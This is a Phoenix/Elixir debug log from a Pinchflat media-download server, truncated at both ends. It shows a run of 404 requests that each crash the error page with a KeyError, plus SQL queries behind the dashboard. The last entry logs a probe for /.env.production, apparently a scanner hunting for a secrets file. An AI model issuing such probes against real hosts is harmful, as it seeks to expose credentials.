{"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/donate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTDLAjPWfUs0AA_CC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16377.0>, params: %{}, path_info: ["donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.c (truncated) 06:39:41.293 [info] GET /order 06:39:41.294 [debug] QUERY OK source="settings" db=0.1ms idle=231.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.294 [debug] QUERY OK source="settings" db=0.1ms idle=147.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.294 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.294 [error] #PID<0.16378.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /order ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /order (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16378.0>, params: %{}, path_info: ["order"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/order", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTDiA2re8bosAA_EC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /order (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16378.0>, params: %{}, path_info: ["order"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, (truncated) 06:39:41.305 [info] GET / 06:39:41.305 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:39:41.306 [debug] QUERY OK source="settings" db=0.1ms idle=159.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.306 [debug] QUERY OK source="media_profiles" db=0.1ms idle=108.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:39:41.306 [debug] QUERY OK source="sources" db=0.0ms idle=108.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:39:41.317 [debug] QUERY OK source="media_items" db=10.3ms idle=12.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:39:41.317 [debug] QUERY OK source="media_items" db=0.4ms idle=22.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:39:41.317 [debug] QUERY OK source="settings" db=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.318 [debug] QUERY OK source="settings" db=0.1ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.318 [debug] QUERY OK source="settings" db=0.1ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.319 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:39:41.320 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:39:41.320 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:39:41.321 [debug] QUERY OK source="sources" db=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 06:39:41.326 [debug] QUERY OK source="media_items" db=3.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:39:41.327 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:39:41.327 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 06:39:41.329 [info] Sent 200 in 23ms 06:39:41.366 [info] GET /dashboard 06:39:41.367 [debug] QUERY OK source="settings" db=0.1ms idle=46.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.367 [debug] QUERY OK source="settings" db=0.1ms idle=46.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.367 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.367 [error] #PID<0.16380.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16380.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTDzgOs0FF7wAB5QB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16380.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded- (truncated) 06:39:41.463 [info] GET /.env.production 06:39:41.464 [debug] QUERY OK source="settings" db=0.2ms idle=138.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.464 [debug] QUERY OK source="settings" db=0.1ms idle=137.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.464 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.465 [error] #PID<0.16381.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: 